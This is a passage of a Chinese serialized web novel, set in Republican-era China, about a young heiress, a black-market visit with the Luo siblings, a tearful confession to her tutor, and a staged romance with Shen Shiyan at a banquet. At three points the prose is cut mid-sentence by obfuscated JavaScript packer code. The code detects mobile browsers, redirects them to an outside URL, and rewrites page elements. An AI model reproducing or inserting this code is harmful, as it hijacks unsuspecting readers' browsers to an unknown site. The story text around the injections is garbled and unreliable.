“快到了。”罗炽南收了笑，脚步也不自觉地慢了几分。 陈蔚青望着前面，那是一条横穿几条大街的小巷子，两边搭满了不知哪来的铁皮和木板，像胡乱拼装的骨架，巷子口站着两个人，身上披着破布，像是睡觉没脱下的毯子，嘴里叼着烟卷，一眼就扫了过来。 她下意识想退半步，罗简却反手拉了她一把，低声说：“别怕，那是守门的。” “守门的？”蔚青压低声音。 “嗯，有点像‘收门票’的。就看你是不是熟人。” “我们算熟吗？”她有点怀疑。 “算。”罗简朝那两人挥了挥手，眼神一转，笑得像个没心没肺的小孩，“哥哥的脸啊，这条街都认得。” 守门人果然没拦他们，甚至连正眼都没看她一眼，只往罗炽南的方向点了点头。 他们穿过巷口，映入眼帘的是一片低矮屋顶和被灯光撕开的夜幕。狭窄的巷道被摊位挤得水泄不通，空气中充满了汗味、汽油味、油炸食物的香气，还有一丝说不上来的焦灼。 这不是市场，是一口正在沸腾的黑锅，里面搅动着金属、欲望和秘密。 “欢迎光临。”罗炽南低声说，“这儿什么都能找到——只要你够胆开口。” 陈蔚青站在巷口，有那么一瞬间像是站在了现实世界的背面。她听见吆喝声、打火机的啪嗒声、远处传来的留声机的舞曲和某个摊贩叫嚷着“原厂拆件！原厂拆件啊！” 她从没来过这样热闹的地方。 “走吧。”罗简回头拉她，“你们要的东西，应该就在这儿。” 世界就像被人翻了个面。 摊位一排接一排地挤在一起，油灯挂在摊边，烟雾缭绕，空气里是重重叠叠的味道：汗水、汽油、铁锈、霉味，还有某种潮湿生肉似的生猛。脚底下是湿漉漉的青石地，积水在脚步下闪着微光，像刚刚退去的潮水留下的痕迹。 “别踩那边。”罗简一把拉住蔚青，指了指一处积水深坑，“踩下去，鞋底会烂。” 他们缓缓穿过一条巷子，转角处支着一顶老旧的油布帐篷，边上挂着几块褪色的毯子，帐篷里面坐着一家人，父亲光着膀子蹲在角落抽烟，小孩扒着一碗热粥吃，母亲坐在后面缝补衣服，眼神和灯光一样昏暗。陈蔚青心头一紧，下意识放慢了脚步。她从来没有想过，在距离自己家不过几条街的地方，会有人就这么住在风里。 她正要开口说话，突然被什么吸引住了—— 一个老摊贩正在铺开的破布上摆着几个小物件：金属打火机、开了边的怀表、一只生锈的袖扣，还有一个小小的玻璃球挂坠，里面封着一片白色的羽毛。 她停下脚步，蹲下来，指了指那个吊坠：“这个多少钱？” “两分钱。”摊贩用像破收音机一样的声音回答。 蔚青摸了摸口袋，忽然才想起来——她今天连零钱都没带。她沉默了一下，没再说话，只是站起来，走了两步，又忍不住回头多看了一眼。 “你要是再盯它三秒钟，它会跟你走的。”罗简忽然出现在她身后，调侃似的说了一句。 “我……没带钱。”蔚青低声说。 “没事。”罗简拍了拍她的背，“我们不是来买挂坠的，是来拆机器的！” 说着，她一手搂过蔚青肩膀，把她带离了摊子。 他们又走了一段，穿过一处狭窄的甬道，一股炸油味扑面而来。拐角处，一个小摊支着油锅，锅里是正在冒泡的油炸鬼和圆滚滚的煎堆。 “喂，大小姐。”罗炽南把手一伸，扔了几个铜子过去，“来不来？” “来。”蔚青几乎是抢着答。 三个人蹲在巷子边沿的石台阶上吃，煎堆里裹着芝麻馅，一口咬下去满嘴香甜。罗简嘴上叼着半根油炸鬼，还一边笑着模仿戏文里的唱腔：“贪吃的小娘子——一口一个不皱眉——” 蔚青笑得弯了腰，眼角被夜风吹得微微湿润。她嘴边沾满了砂糖，从来没有吃的那么狼狈过。罗炽南看了眼她，不由自主地笑了出来，笑声和之前的都不一样，没有了一丝罗炽南式的嘲讽和愤世嫉俗。他递给妹妹一个眼神，罗简会意地笑了，抬手帮蔚青擦掉了嘴边的糖。 就在这时，罗炽南站起身，朝一个低调站在暗角的人走去。 那人穿着一身皱巴巴的西装，像是仓库里爬出来的老鼠，正躲在灯影边上，低头点着一根烟。 “老式打字机。”罗炽南开门见山。 那人抬眼看了他一眼：“你可真敢问，这可是稀罕货。” “少废话。”罗炽南嗤笑一声，“有没有。” 那人犹豫了一下，咬着烟蒂点了点头：“有。但不是带出来就能卖的东西。你们先去对面那家糖水铺等着。” 说完，他一摆手，转身没入灯火里。 “走吧。”罗炽南回头，语气淡淡，“去喝碗糖水。” 他们一行人走进对面那家糖水铺，门口挂着个写着“杨枝甘露”的白布招牌，屋里灯光昏黄，一股热腾腾的椰香混着糖气飘了出来。 陈蔚青最后一个走进去，回头看了一眼黑市那片人声鼎沸的灯火，心头微微发烫。 糖水铺的门一推开，屋里是一股蒸汽和甜味交织的暖意。空气像带着糖浆的雾，墙角还贴着去年没撕干净的年画，一个穿白色松松垮垮的背心的老板正往锅里倒椰汁，嘴里哼着旧戏。 “炽南啊。”老板一抬眼看见人，咧嘴一笑，“你又来啦？” “来看看老朋友嘛。”罗炽南笑着拍了拍桌子，“还有两位，一人一碗，没卖完吧？” “那当然。”老板把锅铲往锅边一靠，转身去后头拿碗去了。 陈蔚青看了看四周，糖水铺里坐着几个衣着寒酸的工人模样的人，角落里还有个抱着婴儿的女人，正一勺一勺往孩子嘴里喂着热汤。 她觉得自己整个人像被泡进了一个温热却陌生的世界里，有点茫然。 “喂。”身边突然有人戳了她一下。 罗简趁她分神，把一只手悄悄伸到她面前，摊开掌心——是那只玻璃吊坠。 陈蔚青一怔，抬头：“你……” “我说过，它会跟你走的。”罗简笑着说，语气轻飘飘的，“你刚刚的眼神跟小孩子看到糖果一样。” “可我……真的没想让你买下来。” “你是没说出口，但我知道你想。”她把挂坠放到她手心，蔚青慌慌张张地把挂坠塞回她手里。罗简嘟起嘴，把挂坠塞进哥哥的手里：“哥，你给她带上。” 罗炽南看了看那只玻璃吊坠，又抬眼看了陈蔚青一眼。他没说话，只是伸手轻巧地解开了吊坠面上的小扣子，然后手腕一转，从她肩头绕到脖子后面——像是玩戏法一样，几下动作干净利落，便把那枚吊坠轻轻地系在了她颈间。 陈蔚青下意识往后缩了一下：“你这是……？” “混街头的时候学的小把戏。”罗炽南笑了一下，声音含着点不以为意的得意，“本来是用来把别人的项链摘下来的。带上去还是第一次。” 陈蔚青怔了怔，抬手摸了摸脖子上的吊坠，指尖碰到那颗冷冷的玻璃球。 她嘴唇动了动，像是想再说些什么，最终却只是低低地说了一句：“谢谢。” 灯光落在她的鬓发和玻璃坠子上，像是某种柔软的回应。 “别谢我。”罗简歪了歪头，“你欠我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502441|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖水。” 他们正说着，老板端了三碗糖水过来，一碗椰汁西米露、一碗姜汁撞奶、还有一碗海带绿豆沙。碗边冒着热气，铺子里灯光昏黄，仿佛连呼吸都慢了下来。 “说起来啊……”罗简舀了一口糖水，咬着勺柄，眯着眼盯着蔚青，“你们做那个机器，真的是为了‘保存一个人的思考方式’？” 陈蔚青没有说话，只是轻轻地“嗯”了一声，随便应付了一句，又像怕回答得太认真会暴露什么。 “那为什么是你妈妈，而不是你自己？”罗简靠在椅背上，声音懒洋洋的，却像猫爪在桌面慢慢抓着。 蔚青的手停了一下：“可能是因为，她一个永远不会出错的人。” 她低声说：“她做事审时度势、她做决定雷厉风行，连沉默都像是预谋好的，她……只是，她说的话最后总是对的。” “你崇拜她？” “不是。”蔚青坚定地摇了摇头。 “我不明白，那你想知道她的想法，直接去问她不就好了？” 蔚青轻笑了一向，她抬起头，盯着罗简，眼神却像要穿透她，看着到她的灵魂。她半天才开口：“可是——她从来不真正看我。她看我的时候，只是在检查我哪里还不像她。” “你爱她吗？” 陈蔚青愣住了，似乎没想到会有人这样问，她的手一抖，勺子碰到碗边，发出“砰”的一声。 “那当然。”她语气听起来那样轻松，“身体发肤，受之父母。怎么会不呢？” “我怎么觉得你恨她。” “阿简！”罗炽南打断了这场对话，“别瞎说了。” 蔚青张了张嘴，没有说话。她的舌头像被什么咬住了，而眼神仍旧落在那碗糖水上——糖水泛着光，像一片平静无风的湖，而她正一点一点地往里扔火，直到把湖烧干。 “我觉得——”罗简放下勺子，“你想借它，跟一个不愿意再和你说话的人说话。” 三人沉默了，罗简也没再说话，只是看着糖水里的倒影轻轻搅动。陈蔚青低下头，用勺子搅着碗里的海带绿豆沙，孤零零的海带就在绿豆里翻滚着。 空气忽然沉静下来，只有店里风扇慢慢转动的咯吱声。 “你们仨，今天真热闹。”老板从柜台后探出头笑着说，“这个美女也是眼生，是南仔和简妹的朋友？要不写个名儿？以后来我就认得你啦。” “算啦。”罗炽南摆了摆手，“她哪能随便留名。” 门口的风铃突然一响。 一个人影从夜色中晃晃悠悠地走进来，穿着旧马褂，脸上挂着似笑非笑的表情。他一眼扫过几人，眼神在陈蔚青身上稍作停顿，又迅速移开。 “南哥。”他低声唤了一句，声音沙哑，“你要的东西，我找来了。” 罗炽南放下勺子，起身朝他走过去。那人从怀里摸出一个裹着粗布的包裹，递给他的时候还东张西望了一圈。 “都在这儿了，”他低声说，“英国产的打字机，轴心完整，还有两根传动杆；电报机是老款，但能通电。我把零件都拆了，免得被人盯上。” “麻烦你了。”罗炽南接过包裹。 “喂，小心点。”那人往后退了一步，似乎还有点忌讳地看了陈蔚青一眼，“这是陈家小姐啊，我在她家打……” “没事，她胆子比我大。”罗炽南笑了一下，拎着包裹走回桌边。 “搞定了？”罗简撑着下巴问。 “走吧。”他拍了拍桌面，“吃完就回去。” 他们三个把糖水喝干净，把碗一口气放回了柜台。老板“啧”了一声：“年纪轻轻挺能吃。” “好吃不行吗。”罗简冲他做了个鬼脸，转身推门离开。 外头的街道还亮着一排排晃动的灯光，像水上的浮萤。他们在街头小巷里一言不发地穿行了一会儿，直到陈宅的高墙出现在视野里。 “你怎么上去？”罗简挑眉问她。 “我再跳一次。”蔚青笑了笑。 “这次小心点。”罗炽南把布包放在地上，两只手一撑，就蹲下去给她当了人梯。 陈蔚青踩着他的掌心，一跃而上，翻过墙头，稳稳地落在阳台边。 “到了。”她朝他们挥了挥手。 “晚安，大小姐。”罗简半开玩笑地敬了个礼。 “晚安。”她轻轻说完，转身钻进窗子。 屋里还是那个熟悉的房间，枕头歪着，书本摊开着，窗外的风带着一点糖水铺残留的甜味飘进来。 她脱下外衣，走到梳妆台前，把脖子上的吊坠轻轻摘下来。 玻璃球在灯光下折射出一层淡淡的彩光，像极了黑市里的那些艰难发光的小灯。 她把吊坠放进首饰盒，又不放心地拿出来放在枕边。 夜很静，风从窗缝吹过，带着一点霉味和远处黑市的余响。 陈蔚青躺下，闭上眼。 她今晚，睡得出奇地好。 8. 误解 阳光从雕花窗格里斜斜地落进来，洒在书房的胡桃木地板上。墙角的座钟滴答作响，时间好似被晾在空气里一样缓慢。 陈蔚青坐在窗边，桌上的书本摊着，笔却握在手里半晌没动。 她前晚刚从夜市“归来”，悄悄爬回了窗。已经过了一天了，脚底还带着一点跳落时的酸痛，心却仍然悬着——就像她偷偷带回来的那一枚玻璃吊坠一样，晃悠悠、冷冰冰地悬再空中。她知道今天要上课，梁悯初的课，但她的心就是静不下来，仿佛还停留在纵身一跃的那一刻。 门吱呀一声被推开了。 她条件反射地站起来。 梁悯初走进来，穿着深灰色立领中式长衫，衣摆一尘不染。他的目光在她脸上停了几秒，看不出任何情绪，没有笑。 梁悯冲她初点了点头，把手里的讲义放在桌上，像往常一样拉开椅子坐下。 “我们接着之前的部分，”他说，语气温和得一如既往，“康德的判断式在《判断力批判》中主要被分为两类：决定性判断和反思性判断。你还记得区别吗？” 陈蔚青“嗯”了一声，强撑着精神去翻讲义，却总觉得脑子像被玻璃糖浆裹着，黏黏的、晕晕的。 他仍在继续讲：“……所以我们说，反思性判断是一种从局部出发，寻求普遍性的努力。这跟归纳逻辑不同，它更多是一种美学意义上的直觉与协调。” 她盯着桌面，忽然觉得那个词“协调”，像是一滴水落进了她心底的某处。 她不是没试图协调过——跟母亲，跟沈时砚，跟罗炽南、罗简……也许最难协调的是自己：那个被安排好的她，和那个从窗台跳下来的她。 讲义的字一个个跳出来，但她眼前却浮现起很多年前的一个午后。 那时她不过十岁。父亲托人请了“香港来的老师”，说是念过洋学堂的，很会教逻辑。她本来不在意，可是那个年轻的梁老师在第一堂课上，说了一句她至今难忘的话：“如果你理解不了一个概念，就把它拆成一段段的、你会写进日记的话。” 那天她真的在日记里写了：“这个老师跟以前的不一样。” 现在回想起来，她想的不止这个。后来她在日记里越写越多，但她从没对任何人说。 “蔚青？”梁悯初的声音打断了她的回忆。 她回过神来，手指还搭在那一页讲义上，却一字也没听进去。 “你刚刚在想什么？” 她下意识低头，过了几秒才开口：“……在想那个机器。” 梁悯初挑了挑眉。 “你是说，那个你之前说的‘能留下思维的机器’？” 她轻轻“嗯”了一声。 他靠在椅背上，指尖在桌上轻轻敲了两下：“那种东西，理论上是可行的。数理逻辑上，我们可以把每一个判断映射为一个布尔值，也就是‘是’或‘否’。如果把判断结构系统化，形成组合——就可以构建一个函数。” “……函数？”她轻声重复。 “对，一个输入为判断，输出为建议或行动的逻辑函数。”他顿了顿，看着她的眼睛，“但重点不是构建函数，而是……你要先定义‘这个人是怎么想的’。” 她忽然一震，有种被看穿的感觉。 “你在跟谁一起做？”他忽然问。 “啊？”她迟疑了一下。 她先是想起老师在沈时砚递上那封信时笑眯眯地说“投我以木桃，报之以琼瑶”的样子，沈时砚的名字就这样卡在喉咙里，罗炽南更是断断说不得的——她顿了顿，轻轻说：“是……是朋友们。” 梁悯初的目光却没有从她脸上挪开。 “罗炽南吗？” 陈蔚青抬头，愣住了，木木地张嘴：“你……你怎么知道？你怎么认识这个人？” 梁悯初深吸一口气，像是在叹息，又像是在调整心态：“你知道他是谁吗？” “是……纺织厂的维修工…？” “是广南路黑市的小霸王。”梁悯初的眉头拧在了一起，“——偷工厂的零件，收来路不明的货，从有钱人家顺来的闲置物，高价倒卖给外地旅客和不懂行情的阔少，嘴上说是‘物尽其用’，一口一个‘限量舶来’，把别人的漏洞当成自己的生意经。” “我……我不知道……” “你当然不知道。”梁悯初的声音提高了，声音里的愤怒难以掩盖，“你知道你就不会去和他在黑市私会，你以为你在跟他演罗密欧与朱丽叶，实际上他这种人只会看中你的这身衣服，耳朵上珍珠的耳饰，和价值不菲的珠花，还有你陈家小姐的名号。” 他凑近了，陈蔚青几乎能闻到他身上熏的香的味道，他用两根手指挑起她脖子上的玻璃珠挂坠：“就是这个是吧，他给你带上的，定情信物？卖糖水的老板都跟我说了……” 陈蔚青被他的话噎住，脖子上那颗玻璃珠在光下一晃，仿佛也热得发烫。 ——那是罗简送她的！才不是什么定情信物！她怔怔地看着他，不知是因为羞耻、惊讶还是——愤怒。 为什么总是要误会我，陈蔚青又想起他调笑她和沈时砚的时候。她的委屈化成泪水积在眼眶里，她瞪着眼，强撑着不让泪水落下。 “你知不知道那种地方很危险，你不该去。”他依旧语气平稳，却不再温柔，“我教了你那么多年，不是让你去那种地方然后名誉尽毁的。” “我不是……”陈蔚青的声音颤抖了，“我不是…我只是，不想一辈子在原地。我想看看这个世界。” 空气在两人之间凝固了。 玻璃吊坠轻轻晃着，梁悯初像是心软了，他的语气放缓了一些：“算了，没事，知道就好，跟那小子断绝来往吧，这个吊坠也还回去。” 他说得轻描淡写，好像一切都能轻易归位，好像她的一切——可以还，也该还。 陈蔚青猛地抬起头，眼眶里盈着泪，但眼神是锋利的，眼泪随着她开口一点点地滑下来：“你凭什么说这些话？” 梁悯初怔住，没想到她会突然这样。 “你以为你是谁？”她声音发紧，像是硬生生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502442|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬着情绪往外挤，“我去哪里，和谁在一起，我走哪条路，你都要管——你又不是我父亲！” 她站了起来，玻璃吊坠随着动作在胸口晃动，像一枚引线。 “那你是谁？”她的声音哽了一下，却继续往前逼，“是我老师吗？是我朋友吗？还是……还是我自己以为你是的人？” 梁悯初没有说话，只是皱着眉，眼底有一丝复杂的挣扎。 “你总是说‘要判断、要选择’，可我从小到大，所有判断和选择都不是我自己做的。你呢？你也不过是其中一个声音——可我听你的，比听任何人都多。” “为什么那么自以为是呢？你明明在误会我，沈时砚也好，罗炽南也好，我不是心理只有情情爱爱的小姑娘！这个项链不是他送的！你为什么不至少再多问我一下呢！” 她深吸了一口气，像是做了一个决定：“你知不知道，从什么时候开始，我喜欢你？” 梁悯初猛地一震，像是被针刺了一下。 “是从你跟我说：‘一个概念不懂，就把它拆成日记里会写的话’的时候。” “是你告诉我，世界可以被理解，我不是笼子里的金丝雀——是你让我以为，我可以选、我可以自由。” 她低下头，声音低了下来，却更像一种宣判：“可你现在，也不过是来拽着我说：你不该飞。” 书房的空气像一张纸要被撕开，阳光斜斜照着她的脸，有一滴眼泪，终于落在玻璃吊坠上。 她擦了擦眼泪，轻轻笑了一下：“对不起啊，梁老师。我原以为你会懂的。” 书房静了一会儿，像是连光线都不敢动了。 梁悯初站在那里，手指轻轻叩着桌边，神情比平日更沉默。他没有避开她的目光，但那双眼睛里仿佛罩着一层看不穿的雾。 “我并没有要拽着你，”他开口了，语气温和得像是在讲课，“只是你若站得太近，总会看不清悬崖的边缘。” “我说过，判断是一种选择。”他顿了顿，低头自嘲似地笑了一下，“但判断也有其代价。” 陈蔚青望着他，嘴唇轻颤：“那你……喜欢我吗？” 梁悯初没有立刻回答。他垂下眼，像是要把所有话都吞回肚子里去，半晌才缓缓开口，声音带上了从未有过的疏离：“那当然是不行的，陈小姐。” 这句话像是一道刀口，被风吹过，没流血，却疼得令人无法呼吸。 他往后退了一步，像是从某条不可言说的边界线上撤了回来。 “你已经不是那个小女孩了。”他抬头看她，神情平静得像是一场无声的诀别，“恐怕…我不能再当你的老师了。” 话音落地的那一瞬间，他转身离开，脚步不急不缓，却像是踩在某种不愿破碎的宁静之上。 门轻轻关上的声音在屋里回荡了一下。 陈蔚青站在原地，她不能去追，一切都太越界了。阳光照在她的脸上，眼泪落下来，没有声音。 吊坠还挂在她脖子上，微凉的，像一个从未真正燃烧过的秘密。 9. 演戏 梁悯初离开的那天之后，书房里再也没有新的人。陈蔚青每天就跟着准备一年后去法国勤工俭学的黎婉芝学法文，还学一点社会学和哲学什么的。父母似乎不知道发生了什么，只以为梁悯初只是有急事回香港了。 她没说出口，只是坐在书桌前，听着那个名字慢慢淡出家里人的茶余饭后。后来也没有人追问，也没有人向他道别。 每天下午她都说要和婉芝温习法文，实则穿过后院，进了锅炉房。那里依旧是三人临时搭起的“工坊”，地上是拉线的铜丝，桌上是摊开的电路草图，墙边挂着一块已经打孔的卡纸，像一张冒险的地图。 她手边摊着几张写得密密麻麻的问题单，她已经把“你觉得你是否有能力做这件事？”、“你是否愿意为这件事放弃一切？”决定好了，她看着下面的那个问题—— “你要做的这件事，会被你的家人所接受吗？” 她一笔一画地把这句话写在格子里，又盯着那一格答案框，迟迟未动。 如果那晚我没去，如果我没有从窗台跳下……他是不是还在？她一遍遍地想，如果这个问题的回答是否，干脆——无论是什么情况，都让机器说不要去做好了。 她忽然觉得呼吸有些凝滞。 “你写得也太狠了点。”一旁传来罗炽南的声音。 她抬起头，看到他正靠着窗，手里拎着一小截金属管，像是从废机壳里拆出来的什么部件。他把它翻来覆去地看着，头也不抬地说，“这问题要是问我，我还真答不上来。” 她蹙起眉：“你不知道？” “我不知道我家人是谁。”他说得随意，像在谈今晚吃什么。 空气像被一把钝刀切开，沈时砚原本低头画电路的手，也不自觉停了一下。 “抱歉……”陈蔚青低声说，“但你不还有妹妹吗？” “妹妹…”罗炽南顿了顿，然后咧开嘴笑了，“嗯，那倒也是。” 沈时砚放下了铅笔，抬起头看她一眼，那眼神比平时柔软一些。他像是斟酌着什么，才说：“别太紧张了，这些东西本质也就是螺丝和数字而已。” 蔚青转头看向他，有点吃惊，也有点不解。 “如果是你呢？如果你遇上了家人不想让你去做的事，你回去做吗？”她问。 沈时砚没有立刻回答。他望着桌上那张电路草图，看了几秒，才慢慢地说：“家人从来没有支持我做任何事。” 蔚青怔了一下，嘴角轻轻地动了动，没说出话来。 这时，罗炽南把金属管往桌上一丢，声音砰地响了一声。 “我晚上要出去一趟。”他说。 “去哪？”蔚青问。 “有人要出一批库存，我去看看。”他转身走了几步，又像想起什么似的回头：“你这题啊，你要真做了，得想清楚你到底想听谁的。” 蔚青怔怔看着那张纸，片刻后点了点头。 -- 两天后的陈家饭厅，女仆轻手轻脚地把一纸请柬放在陈母面前，是一场西式的酒会。 “是万隆洋行那边的几位客人，还有几位驻南州的外商。”她一边擦着银器一边随口说道，“你父亲说这次场子要办得体面些，尤其是你——也到了可以见见人家的年纪。” “……什么叫见见人家？”陈蔚青有些头疼。 “就是见见。他们洋人都带个男伴女伴的，你也带个男伴好，我看沈公子就合适，自从上次他给你写信，你们聊的怎么样了？”母亲没抬头，似乎并不是真的想听到答案，“你不是整天和婉芝混在一起学什么法文哲学的吗，这种场合正好交流交流。你不愿意穿旗袍就穿礼服，但别总穿得像个学生。” 陈蔚青没接话。她拿起请柬，看到了一个名字。 她不知道他会不会来——但那纸请柬上确实写了“梁悯初先生”四个字。 -- 沈家的老宅位于南州东城一隅，沿着西式园林改造的老洋楼，门口仍是中式影壁与红漆大门。陈蔚青站在门前，心口跳得微快，手指在衣摆上轻轻一收一放。 她说自己是来拜访沈公子的，女仆应了一声进去通传，没过多久，一个少年缓缓走了出来。 他大约十七岁，穿着妥帖的灰蓝色学生装，眉眼与沈时砚略有几分相像，但神情却更冷静，从阶梯上走下来时，整个人像一把藏在鞘里的剑。 “我哥在后院修东西。”他说，语气不冷不热，“请进吧。” 蔚青一怔：“你是……？” “沈时墨。”他微微颔首，算作自我介绍。 她走进厅里，他侧身让她先行，然后不紧不慢跟上。 厅中陈设考究，家具一尘不染，窗沿还摆着几盆西洋紫罗兰。蔚青刚要说话，沈时墨已经坐下，自己倒了杯茶，淡淡开口：“抱歉，家父外出了，母亲……也不在。” “沈夫人？”蔚青轻声问。 “她早些年回了南京娘家。”少年语气平平，“偶尔来信，也不过是寄些照片和信纸。” 蔚青心头一震，却不露声色，只道：“你母亲还好吧？” “挺好。”他望了她一眼，语气未变。 “夫人几时回去的呢？”她又问。 “不知道。”沈时墨的语气终于出现了一丝罕有的波动，“反正我打小就没怎么见过她。” “听说你准备去上海？” “对，我的大姐在上海。”他微微仰起头，“我准备去上海读书，然后回来继承……”他马上打住了，好像突然反应过来自己说多了。 空气一时沉默下来。 蔚青捧着茶盏，指尖微凉。她没料到第一次见面的弟弟竟这样早熟寡言。 她转了个角度试探：“最近你们沈家……好像在香料生意上动作很多？” 沈时墨没答，只是喝了口茶。 她看他不接话，只能换种说法：“我听父亲提过一点，说沈家好像也在南洋拿了些货路子。” 沈时墨放下茶杯，语气依旧稳：“做生意，总要找出路。” 她顿了顿：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502443|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家也一直在做香料。” 他抬眼看她一眼，那眼神像是在判断什么人可信不可信。 “所以，”他说，“你今天来，是来问这些的？” “不，我——”蔚青急忙摆手，眼神略慌，“我是来找你哥哥的。” “原来如此。”沈时墨站起身，“我去叫他。” 走出几步，他忽然回头，看似无意地说了一句：“沈家和陈家，是该好好谈谈了。可惜你们拿不了主意。” -- 客厅的门帘微微一动，是风，随即是一阵脚步声。 “怎么不进去坐？”沈时砚的声音从廊后传来，他边擦着手边走进来，眼神带着几分讶异，“蔚青？” 陈蔚青站起身，面上带着温和的笑：“打扰了。是我贸然登门。” 沈时墨平静地说：“她说是找你，好了，你们聊，我就不打扰了。”说完他就转身离开了。 等沈时墨的脚步声远了，沈时砚才看向陈蔚青，问：“怎么突然来了？” 她低头，看着自己手里的茶盏，语气温和却带着一丝不自然的平静：“……想和你说件事。” 他没有打断她，只是微微点头：“你说。” “下周我们家办宴会。”她抬起头望他，像是早已想好每一个词句，“是请洋行那边的几位客人，父亲母亲都在，我……想邀请你也来。” 沈时砚怔了一下，像是没料到她会主动提出这个请求。 “正式宴会？”他问。 “嗯。”陈蔚青点头，“西式的。可以带一个男伴。” “你不是最讨厌这种场合吗？” 她眼睫微垂，唇角抿了抿：“是。但这次不太一样。” 他沉默了几秒，看不出情绪，只是轻声问：“所以你来，是特地为这个？” “是。” “还有什么要求吗？” “我需要你…装作我的恋人。” 他像是被吓到了，没有立刻回答，只是眼神微动，仿佛在试图看穿她背后那层没说出口的理由。片刻后，他轻轻点了点头：“好啊。” “……你愿意来？” “你请我，我就来。”他说得很平静，像在陈述一个原则，“帮你一个忙，就像你帮我一样。” 她忽然不知道自己是什么表情，又该摆出什么表情。 沈时砚看着她，忽然补了一句：“不过我得问一句——为什么非得演恋人不可？” 她一时无语，找不出理由。 “我说真的。”他笑了笑，语气温和，却带着点调侃，“我可不想被那些老顽固指指点点，说什么‘尽学了那套放荡的风气’什么的。” 她抿了抿唇，最后道：“我想让一个人…知道我过的很好，让他回来。” 他没再追问，只是轻轻“哦”了一声。 “那我可要演得好一点。”他慢慢说，“别让你……说的那个人，看出来你是演的。” 陈蔚青没有回答，只是低下头，轻轻点了点头。 10. 罗曼蒂克 夜幕低垂，陈宅主楼的檐角挂起了串灯，亮黄的光一颗颗串成线，在风里微微晃着。长廊里仆人来来往往，女仆穿着整洁的制服匆匆布置着宴会厅——雪白的桌布，金边瓷盘，一套套银质餐具被擦得锃亮，连地毯边角都仔细掸了灰。像是一座古老的剧院，正在为一出精心设计的戏剧揭幕。 楼上的房间里，陈蔚青坐在镜前，身上穿着一袭浅灰蓝的洋装，法式剪裁，肩部线条利落，腰线向上微收，裙摆垂到脚踝，略显瘦削的手腕上戴着一只珍珠细链。长发挽起，只留下几缕鬓发垂落在耳侧，像从旧报纸的版面上走下来。她母亲亲自为她挑的，说这种色调沉稳不艳，不至于抢客人的风头。她低头看着自己手腕上缠着的一圈银链，忽然觉得像一圈透明的枷锁。 门被轻轻叩响。 “小姐。”女仆在门外低声道，“那位沈公子到了。” 她反应了一下——大概是因为还没入戏，然后起身：“我下去。” 沈时砚站在陈宅的玄关口，身着一套黑色西装，头发罕见地梳得整齐。他本就不是那种锋芒毕露的类型，这一身打扮，让他整个人看上去比平时要“干净”得多，更像一个贵公子。 他手上拿着一束白色晚香玉——不算贵重，却清冷高洁。仆人看了几眼，低头请他入厅。 陈蔚青从楼上走下来的那一刻，恰好与他四目相对。他朝她递出那束花，像是一场事先排练好的开场动作：“女士，这是今晚的伴手礼。” 她接过，低头嗅了一下：“还以为你会带个发报机零件来。” “要是带那个，你母亲今晚得把我从宴会厅赶出去。”他微笑，“但你不觉得这跟我们这场合作一样吗？——表面是花，里面是机关。” 她没笑，但眼里却亮了一点：“希望我们配合默契。” “今晚我们是恋人嘛。”他微微歪头，“你得提醒我，你喜欢什么样的我。” “……安静、聪明、博学、别乱说话。”她顿了一下，“成熟一点。” 他挑了挑眉，像是觉得这描述不太公平，但还是点了头：“明白。‘假装是你喜欢的样子’。” 说着，他轻轻弯下手臂，伸向她：“陈小姐，我可以请你共赴一场骗局吗？” 她望着他，嘴角缓缓上扬：“愿意。” 他们并肩走入灯火通明的大厅，所有的目光缓缓汇聚过来，仿佛幕布在这一刻悄然拉开。宴会厅的水晶灯亮得比往常更盛。纱帘被拉起，客人们一一步入，空气中弥漫着香槟与鲜花的混合香气。 “哎呀，这不是陈小姐吗？”一个穿着湖蓝色礼服的贵妇笑着迎上来，身边还牵着一个年约十七八的少女，“果然如传闻中一样出落得好。旁边这位是？” “朋友。”陈蔚青笑着回答，“沈时砚。”她语气自然，眼神没有一丝破绽。 “原来是沈家的公子？”贵妇转向他，眼神里带着细细打量，“上次在上海还听说您在欧洲求学，不知可有定居意向？” “暂时打算回国做点实事。”沈时砚稳稳回道，举止沉静得体。 贵妇没再追问，只是说了句“年轻有为”，二人就开始你一言我一语的讨论什么“新思想”、“自由恋爱”。 一个年轻的留洋子弟和一个穿着燕尾服的老先生一同走了过来，拿着酒杯一边跟他们寒暄，年轻人一边瞟着沈时砚，一边说：“我以前在牛津听人提起你。真是聪明人。” 沈时砚微微一笑，没有接话，反而将目光轻轻落在蔚青身上：“我倒觉得，今晚最聪明的，是邀请我来的这位女士。” 